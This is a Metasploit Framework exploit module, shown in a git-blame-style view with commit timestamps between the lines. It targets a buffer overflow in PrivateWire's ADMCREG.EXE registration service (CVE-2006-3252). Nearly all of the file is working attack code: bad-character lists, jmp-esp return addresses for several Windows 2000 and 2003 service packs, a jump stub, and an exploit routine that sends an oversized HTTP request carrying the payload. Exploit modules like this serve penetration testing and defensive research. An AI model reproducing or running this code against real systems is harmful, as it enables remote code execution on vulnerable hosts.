2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2007-01-07 07:54:30 +00:00
|
|
|
# This file may only be distributed as part of the Metasploit Framework.
|
|
|
|
# Any other use needs a written permission from the author.
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2007-01-07 07:54:30 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2007-01-07 07:54:30 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2007-01-07 07:54:30 +00:00
|
|
|
'Name' => 'Private Wire Gateway Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This exploits a buffer overflow in the ADMCREG.EXE used
|
|
|
|
in the PrivateWire Online Registration Facility.
|
2007-01-07 07:54:30 +00:00
|
|
|
},
|
|
|
|
'Author' => 'Michael Thumann <mthumann[at]ernw.de>',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-07-16 16:02:24 +00:00
|
|
|
['CVE', '2006-3252'],
|
|
|
|
['OSVDB', '26861'],
|
2007-01-07 07:54:30 +00:00
|
|
|
['BID', '18647'],
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 8000,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x1b",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2007-01-07 07:54:30 +00:00
|
|
|
[
|
|
|
|
['Windows 2000 English SP0', { 'Ret' => 0x77e3c289 }], # jmp esp user32.dll
|
|
|
|
['Windows 2000 English SP1', { 'Ret' => 0x77e3cb4c }], # jmp esp user32.dll
|
|
|
|
['Windows 2000 English SP2', { 'Ret' => 0x77e3af64 }], # jmp esp user32.dll
|
|
|
|
['Windows 2000 English SP3', { 'Ret' => 0x77e388a7 }], # jmp esp user32.dll
|
|
|
|
['Windows 2000 English SP4', { 'Ret' => 0x77e3c256 }], # jmp esp user32.dll
|
|
|
|
['Windows 2003 English SP0/SP1', { 'Ret' => 0x77d74c94 }], # jmp esp user32.dll
|
|
|
|
['Debugging', { 'Ret' => 0x41414141 }], # crash
|
2010-04-30 08:40:19 +00:00
|
|
|
],
|
2007-01-07 07:54:30 +00:00
|
|
|
'DefaultTarget' => 4,
|
|
|
|
'DisclosureDate' => 'Jun 26 2006'))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('PATH', [ true, "Installation path of Privatewire", 'C:\Cipgw' ])
|
|
|
|
], self.class)
|
2007-01-07 07:54:30 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
# add 25 to ecx and jmp
|
|
|
|
jmp = "\x6a\x19\x58\x01\xc1\xff\xe1"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-07 07:54:30 +00:00
|
|
|
path_offset = datastore['PATH'].length - 8
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-07 07:54:30 +00:00
|
|
|
pattern = rand_text_alphanumeric(8192)
|
|
|
|
pattern[0, payload.encoded.length] = payload.encoded
|
|
|
|
pattern[8156 - path_offset, 4] = [target.ret].pack('V')
|
|
|
|
pattern[8160, jmp.length] = jmp
|
|
|
|
|
|
|
|
print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")
|
|
|
|
|
|
|
|
send_request_raw({
|
|
|
|
'uri' => "/" + pattern
|
|
|
|
}, 2)
|
|
|
|
end
|
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|